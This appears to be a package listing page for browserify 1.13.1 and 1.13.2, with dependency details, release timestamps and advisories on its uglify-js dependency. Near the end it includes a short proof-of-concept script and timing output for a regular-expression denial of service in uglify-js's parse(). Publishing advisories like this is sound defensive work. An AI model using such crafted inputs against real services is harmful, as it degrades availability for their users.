Browserify, at versions 1.13.2 and 1.13.1, offers a powerful solution for developers seeking to utilize Node.js-style require() statements within browser environments. This enables modular Javascript development by allowing you to organize your code into reusable modules and manage dependencies efficiently, mirroring the familiar Node.js workflow. These versions provide a browser-side require() implementation, transforming your code for seamless execution in web browsers, a crucial need for modern web applications employing complex javascript architectures. Both versions share identical core dependencies, including "nub," "deputy," "resolve," "optimist," and others, ensuring consistent functionality for module resolution, dependency management, and command-line argument parsing. Similarly, developer dependencies such as "seq," "tap," "jade," and "lazy" remain the same, indicating a stable tooling environment for testing, templating, and asynchronous operations.
The key differentiator between versions 1.13.2 and 1.13.1 lies solely in the release date. Version 1.13.2 was released on June 23, 2012, at 23:57:19.306Z, a little later than 1.13.1, which went live on June 23, 2012, at 12:38:32.850Z. The code between the 2 versions is identical so it is likely to consider the latest as potentially including very minor bug fixes or build-related adjustments not directly reflected in dependency changes. For developers, this suggests a high degree of stability and backward compatibility when upgrading from 1.13.1 to 1.13.2, allowing smooth adoption without significant code modifications. Choose browserify to streamline your Javascript projects for the web, facilitating cleaner, more manageable, and scalable code.
All the vulnerabilities related to the version 1.13.2 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.